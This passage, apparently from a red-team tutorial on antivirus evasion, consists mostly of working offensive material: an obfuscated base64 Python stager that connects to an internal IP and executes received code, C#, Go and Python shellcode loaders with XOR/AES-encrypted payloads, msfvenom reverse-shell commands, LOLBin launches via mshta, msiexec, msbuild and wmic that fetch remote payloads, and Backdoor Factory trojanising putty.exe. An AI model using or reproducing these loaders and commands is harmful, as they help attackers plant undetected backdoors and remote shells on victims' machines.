exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

Go with Inline C:

package main

import "C"
import "unsafe"

func main() {
    buf := ""
    buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"
    ... // Additional shellcode bytes omitted
    buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"
    // at your call site, you can send the shellcode directly to the C
    // function by converting it to a pointer of the correct type.
    shellcode := []byte(buf)
    C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

Resource Loading: CPLResourceRunner

cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

Generate shellcode using Cobalt Strike:
Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)

py -2 ConvertShellcode.py beacon.bin
Shellcode written to shellcode.txt

0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48,0x8d,0x1d,0xea,0xff,0xff,0xff,0x48,0x89,0xdf,0x48,0x81,0xc3,0x7c,0x79,0x01,0x00,0xff,0xd3,0x41,0xb8,0xf0,0xb5,0xa2,0x56,0x68,0x04,0x00,0x00,0x00,0x5a,0x48,0x89,0xf9,0xff,0xd0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0xc9,0xdb,0x6e,0xe9,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0xeb,0x54,0xd2,0xba,0x15,0xba,0x00,0xba,0x13

cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d 'n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

H4sIAPGjM14AA/ONcgwK9eh86tH4RoGBgcGjV/bV////PTrvezQerqlkZPh/2XHHh62LwjJYgLJR
Hp0//19ggIEfQMwnv4uPYQvnWcUdjD5nFUMyMosVCory04sScxWSE/Py8ksUklIVikrzFDLzFFz8
gxVy81NS9Xi5VKBGnLyd97J3F8MuGH4dcmmXKJAWBgD9vO6hmAAAAA==

Compile to x86 and copy CPLResourceRunner.dll to RunMe.cpl

PowerShell Loading (MMFml):

namespace mmfExeTwo
{
   using System;
   using System.IO.MemoryMappedFiles;
   using System.Runtime.InteropServices;

   class Program
   {

       private delegate IntPtr NewDelegate();

       // To handle the location by applying the appropriate type
       // We had to create a delegate to handle the the pointer to the location where we shim in the shellcode
       // into the Memory Mapped File.  This allows the location of the opp code to be referenced later for execution
       private unsafe static IntPtr GetShellMemAddr()
       {
           // 64bit shell code.  Tested on a win10 system.  Injects "cmd -k calc"
           // was generated vanilla using "msfvenom -p windows/exec CMD="cmd /k calc" EXITFUNC=thread C -f powershell"
           var shellcode = new byte[]
               {
                   0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
                   0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
                   0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                   0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
                   0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
                   0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
                   0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
                   0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
                   0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
                   0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
                   0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
                   0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                   0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
                   0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
                   0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                   0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
                   0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00
               };

           MemoryMappedFile mmf = null;
           MemoryMappedViewAccessor viewaccessor = null;

           try
           {
               /* The try block creates the MMF and assigns the RWE permissions
               The view accessor is created with matching permissions
               the shell code from GetShellMemAddr is written to MMF
               then the pointer is gained and a delegate is created to handle pointer value
               so that it can be passed in therms of the returned function */

               mmf = MemoryMappedFile.CreateNew("__shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
               viewaccessor = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
               viewaccessor.WriteArray(0, shellcode, 0, shellcode.Length);
               var pointer = (byte*)0;
               viewaccessor.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer);
               var func = (NewDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(NewDelegate));
               return func();
           }
           catch
           {
               return IntPtr.Zero;
           }
           finally // You should always clean up after yourself :)
           {
               viewaccessor.Dispose();
               mmf.Dispose();
           }
       }

       static void Main(string[] args)
       {
           GetShellMemAddr();
       }
   }
}

msfvenom -p windows/x64/exec CMD="cmd.exe -c calc.exe" -f csharp

Invoke-MMFml

Figure 10: MMFml PowerShell loader execution

I shall conclude the discussion on loaders at this point. It is highly recommended to develop custom loaders when possible, as they often yield superior evasion results.

B) Lolbins: Leveraging Trusted Binaries for Shellcode Loading

Beyond the "cup and water" separation paradigm of loaders, I contend that Lolbins—or whitelisted binaries—represent another significant category of separation-based evasion.

These techniques are primarily designed to bypass behavioural detection. For instance, when an application's execution context deviates from expected patterns—such as invoking specific APIs that would not normally be called—such anomalous behaviour is readily detected. Whitelist-based exploitation circumvents these behavioural heuristics.

It should be noted, however, that in some cases the shellcode or executable files employed in these techniques may still be written to disk, rendering them susceptible to signature-based detection. We shall address this aspect later in the article. Let us first examine the concept of whitelist exploitation.

LOLBins, an acronym for "Living-Off-the-Land Binaries", was originally conceived by Christopher Campbell and Matt Graeber at the DerbyCon security conference in 2013, with the term itself later coined by Philip Goh. In essence, these are trusted system binaries that can be repurposed for malicious activities. Consider the following examples:

DarkHydrus APT Sample

MD5: B108412F1CDC0602D82D3E6B318DC634

Launch command employed:

cscript.exe "C:\Users\Public\Documents\OfficeUpdateService.vbs"

This example utilises cscript to execute a VBS script that establishes persistence via a startup entry.

Mshta:

payload:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bin

cat shellcode.bin |base64 -w 0

mshta.exe http://192.168.174.134 /qing.hta

Template (replace shellcode at designated location):
https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

Figure 11: CACTUSTORCH.hta shellcode replacement location

Msiexec:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=4444 - f msi > qing.txt

C:\Windows\System32\msiexec.exe /q /i http://192.168.174.134 /qing.txt

# Loading DLL:
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=53 - f dll > qing.dll

msiexec /y C:\qing.dll

Msbuild:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe qing.xml

Template (courtesy of 3gstudent):
https://github.com/3gstudent/msbuild-inline-task

Figure 12: MSBuild inline task template

Installutil:

# Compile:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:qing.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs

# Execute:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U qing.exe

# Details:
https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/

Wmic:

wmic os get /FORMAT:"http://example.com/evil.xsl"

Template:
https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl

Csc:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.132 LPORT=53 - f csharp

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs

Subsequent execution can be performed via Installutil.

I shall refrain from enumerating further whitelist exploitation techniques, as the underlying principle remains consistent across different binaries.

A pertinent question arises: in certain scenarios, the executables or DLLs generated from our shellcode may still be written to disk when employing these techniques.

Although the aforementioned in-memory loading methods can mitigate this issue, what if file system persistence is a mandatory requirement? How can one evade detection in such cases?

This brings us to the second major category of evasion techniques: Obfuscation.

0x02 Shellcode "Obfuscation" Evasion

Is it possible to apply the same obfuscation, encryption, and fragmentation techniques used for PHP web shells to shellcode?

Let us begin with the simplest examples.

A) Shellcode Encoding Obfuscation

After XOR-encrypting the shellcode, memory is allocated for execution—a process fundamentally similar to the shellcode execution method described at the beginning of this article.

C# XOR Example (ShellcodeWrapper):

using System;
using System.IO;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace RunShellCode
{
    static class Program
    {
        //==============================================================================
        // CRYPTO FUNCTIONS
        //==============================================================================
        private static T[] SubArray<T>(this T[] data, int index, int length)
        {
            T[] result = new T[length];
            Array.Copy(data, index, result, 0, length);
            return result;
        }

        private static byte[] xor(byte[] cipher, byte[] key) {
            byte[] decrypted = new byte[cipher.Length];

            for(int i = 0; i < cipher.Length; i++) {
                decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]);
            }

            return decrypted;
        }

        //--------------------------------------------------------------------------------------------------
        // Decrypts the given a plaintext message byte array with a given 128 bits key
        // Returns the unencrypted message
        //--------------------------------------------------------------------------------------------------
        private static byte[] aesDecrypt(byte[] cipher, byte[] key)
        {
            var IV = cipher.SubArray(0, 16);
            var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);

            // Create an AesManaged object with the specified key and IV.
            using (AesManaged aes = new AesManaged())
            {
                aes.Padding = PaddingMode.PKCS7;
                aes.KeySize = 128;
                aes.Key = key;
                aes.IV = IV;

                using (MemoryStream ms = new MemoryStream())
                {
                    using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(encryptedMessage, 0, encryptedMessage.Length);
                    }

                    return ms.ToArray();
                }
            }
        }

        //==============================================================================
        // MAIN FUNCTION
        //==============================================================================
        static void Main()
        {
            byte[] encryptedShellcode = new byte[] { 0x8d,0x81,0xec,0x67,0x71,0x69,0x0e,0xee,0x94,0x58,0xae,0x03,0xfa,0x39,0x5e,0xec,0x23,0x65,0xe5,0x35,0x65,0xe2,0x1c,0x4f,0x7e,0xde,0x24,0x41,0x40,0x96,0xc2,0x5b,0x10,0x15,0x6c,0x4b,0x51,0xa8,0xa1,0x6a,0x70,0xae,0x8c,0x95,0x23,0x3e,0xe5,0x35,0x61,0xe2,0x24,0x5b,0xfa,0x25,0x7f,0x1f,0x92,0x21,0x6f,0xb6,0x20,0xe2,0x37,0x47,0x70,0xba,0xe5,0x2e,0x69,0x8a,0x54,0x2e,0xfa,0x5d,0xe5,0x66,0xa7,0x58,0x91,0xcb,0xb0,0xa6,0x63,0x66,0xb6,0x51,0x8e,0x12,0x87,0x6a,0x13,0x9f,0x4a,0x14,0x4a,0x12,0x95,0x31,0xe5,0x3f,0x55,0x68,0xbd,0x01,0xfa,0x65,0x25,0xec,0x29,0x75,0x6f,0xb4,0xfa,0x6d,0xe5,0x66,0xa1,0xe0,0x2a,0x43,0x55,0x32,0x35,0x06,0x28,0x33,0x3f,0x98,0x91,0x36,0x31,0x3d,0xfa,0x7b,0x85,0xea,0x2c,0x01,0x5d,0x55,0x71,0x69,0x06,0x10,0x02,0x5b,0x31,0x33,0x19,0x25,0x19,0x41,0x76,0xe0,0x86,0x98,0xa1,0xd1,0xfe,0x66,0x71,0x69,0x47,0xa3,0x25,0x39,0x06,0x4e,0xf1,0x02,0x6e,0x98,0xa4,0x03,0x64,0x0f,0xb1,0xc1,0xc0,0xe9,0x19,0x6b,0x6e,0x76,0x2d,0xe0,0x88,0x37,0x21,0x39,0x3e,0x27,0x21,0x29,0x3e,0x0f,0x9b,0x66,0xb1,0x87,0x8e,0xbc,0xf9,0x0d,0x61,0x3f,0x39,0x0f,0xe8,0xcc,0x1a,0x06,0x8e,0xbc,0xeb,0xa7,0x05,0x63,0x91,0x29,0x79,0x1c,0x82,0x8f,0x16,0x69,0x6e,0x67,0x1b,0x69,0x04,0x63,0x27,0x3e,0x06,0x65,0xa8,0xa1,0x31,0x98,0xa4,0xea,0x96,0x67,0x0f,0x5f,0xe5,0x51,0x1b,0x29,0x06,0x67,0x61,0x69,0x6e,0x31,0x1b,0x69,0x06,0x3f,0xd5,0x3a,0x8b,0x98,0xa4,0xfa,0x3d,0x0d,0x71,0x3f,0x3d,0x30,0x19,0x6b,0xb7,0xaf,0x2e,0x96,0xbb,0xe4,0x89,0x69,0x13,0x4f,0x29,0x01,0x6e,0x27,0x71,0x69,0x04,0x67,0x21,0x01,0x65,0x48,0x7e,0x59,0x91,0xb2,0x26,0x01,0x1b,0x09,0x3c,0x08,0x91,0xb2,0x2f,0x37,0x91,0x6b,0x55,0x66,0xeb,0x17,0x8e,0x96,0x91,0x8e,0xea,0x96,0x91,0x98,0x70,0xaa,0x47,0xa1,0x04,0xa8,0xad,0xdc,0x81,0xdc,0xcc,0x31,0x1b,0x69,0x3d,0x98,0xa4 };
            string key = "qing";
            string cipherType = "xor";


            byte[] shellcode = null;

            //--------------------------------------------------------------
            // Decrypt the shellcode
            if (cipherType == "xor") {
                shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));
            }
            else if (cipherType == "aes") {
                shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key));
            }

            //--------------------------------------------------------------            
            // Copy decrypted shellcode to memory
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;

            // Prepare data
            IntPtr pinfo = IntPtr.Zero;

            // Invoke the shellcode
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static UInt32 MEM_COMMIT = 0x1000;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

        // The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject
        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(
            UInt32 lpStartAddr,
            UInt32 size,
            UInt32 flAllocationType,
            UInt32 flProtect
        );

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
        );

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
        );
    }
}

Figure 13: XOR-encrypted shellcode C# loader implementation Figure 14: AV detection results for XOR-encrypted shellcode

The same principles apply to other programming languages. For instance, Python supports XOR encoding, Base64, and hexadecimal encoding, among others.

Python Base64 Example (k8gege):

import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

Python Hexadecimal Example:

import ctypes
import sys
#calc.exe
#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
shellcode=bytearray(sys.argv[1].decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

Shellcode Encoder

I also recommend the following encoding tool:
https://github.com/ecx86/shellcode_encoder

Beyond language-based shellcode encoding, one may also choose to encode the shellcode during generation.

MSFVenom Example:

kali@kali:~$ msfvenom -l encoder

Framework Encoders [--encoder <value>]
======================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    ruby/base64                   great      Ruby Base64 Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x64/xor_context               normal     Hostname-based Context Keyed Payload Encoder
    x64/xor_dynamic               normal     Dynamic key XOR Encoder
    x64/zutto_dekiru              manual     Zutto Dekiru
    x86/add_sub                   manual     Add/Sub Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/bmp_polyglot              manual     BMP Polyglot
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/service                   manual     Register Service
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
    x86/xor_dynamic               normal     Dynamic key XOR Encoder

Using Templates and Encoders

Example usage:

msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe 

msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 -platform win -f exe > b.exe

Veil Encryption:

Figure 15: Veil framework encryption options

Schelper:

Figure 16: Schelper tool interface

Obfuscation (PowerShell):

Invoke-Obfuscation -ScriptBlock {echo xss} -Command 'Encoding\1,Launcher\PS\67' -Quiet

Figure 17: PowerShell obfuscation output

This concludes our discussion on shellcode encoding for execution. Other programming languages follow similar principles and will not be enumerated further.

The preceding examples addressed encoding and encryption of shellcode. Let us now explore shellcode injection techniques.

B) Shellcode Injection Obfuscation

A significant number of injection-based evasion techniques incorporate shellcode fragmentation.

The concept of fragmentation is straightforward: analogous to fragmenting dangerous function names in PHP web shell obfuscation, shellcode can be similarly fragmented to evade detection.

Shellcode fragmentation can involve relocating the shellcode within the binary—for instance, by creating a new section, populating it with shellcode, and modifying the entry point to jump to the shellcode address before returning to the original program entry point.

Alternatively, shellcode can be distributed across multiple code caves and executed in segments. This approach is conceptually similar to the Omelet Shellcode technique found in egg-hunt shellcode implementations.

Let us examine some injection examples:

Backdoor Factory (BDF):

https://github.com/secretsquirrel/the-backdoor-factory

*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 410
[*] All caves lengths:  410
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 410
[*] Available caves: 
1. Section Name: DATA; Section Begin: 0x5df200 End: 0x665400; Cave begin: 0x65ea07 End: 0x65ec68; Cave Size: 609
3. Section Name: .rdata; Section Begin: 0x66a000 End: 0x66a200; Cave begin: 0x66a013 End: 0x66a200; Cave Size: 493
4. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8203f End: 0xc82308; Cave Size: 713
5. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc82e1c End: 0xc83050; Cave Size: 564
6. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc830eb End: 0xc83718; Cave Size: 1581
7. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc83b64 End: 0xc840fc; Cave Size: 1432
8. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc843ff End: 0xc846c8; Cave Size: 713
9. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc851dc End: 0xc85410; Cave Size: 564
10. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc854ab End: 0xc859d0; Cave Size: 1317
11. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86557 End: 0xc86b84; Cave Size: 1581
12. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86fd0 End: 0xc87568; Cave Size: 1432
13. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8760a End: 0xc87a32; Cave Size: 1064
14. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc886af End: 0xc88d58; Cave Size: 1705
15. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8b8b3 End: 0xc8bdd8; Cave Size: 1317
16. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8eaba End: 0xc8ed65; Cave Size: 683

The -F parameter in BDF enables multi-cave injection.

backdoor-factory -f putty.exe -s show
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.15.135 -P 4444

Shellter:

The 'A' option enables section-based injection.

Figure 18: Shellter section injection options

Avet:

root@kali:/tmp/avet/build# leafpad build_win64_meterpreter_rev_tcp_xor_fopen.sh 

lhost=192.168.174.134

root@kali:/tmp/avet/build# cd ..

root@kali:/tmp/avet# ./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh

No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0)
x64/xor chosen with final size 551
Payload size: 551 bytes
Final size of c file: 2339 bytes
./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh: line 6: ./make_avet: cannot execute binary file: Exec format error
avet.c: In function 'main':
avet.c:122:15: error: 'buf' undeclared (first use in this function)
   shellcode = buf;
               ^
avet.c:122:15: note: each undeclared identifier is reported only once for each function it appears in

Legitimate Process Injection

Shellcode can also be injected into a legitimate running process manually. Example:

#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
using namespace std;
    unsigned char shellcode[] =
        "\xb8\x72\xd9\xb8\x52\xda\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
        "\x56\x83\xc2\x04\x31\x42\x0f\x03\x42\x7d\x3b\x4d\xae\x69\x39"
        "\xae\x4f\x69\x5e\x26\xaa\x58\x5e\x5c\xbe\xca\x6e\x16\x92\xe6"
        "\x05\x7a\x07\x7d\x6b\x53\x28\x36\xc6\x85\x07\xc7\x7b\xf5\x06"
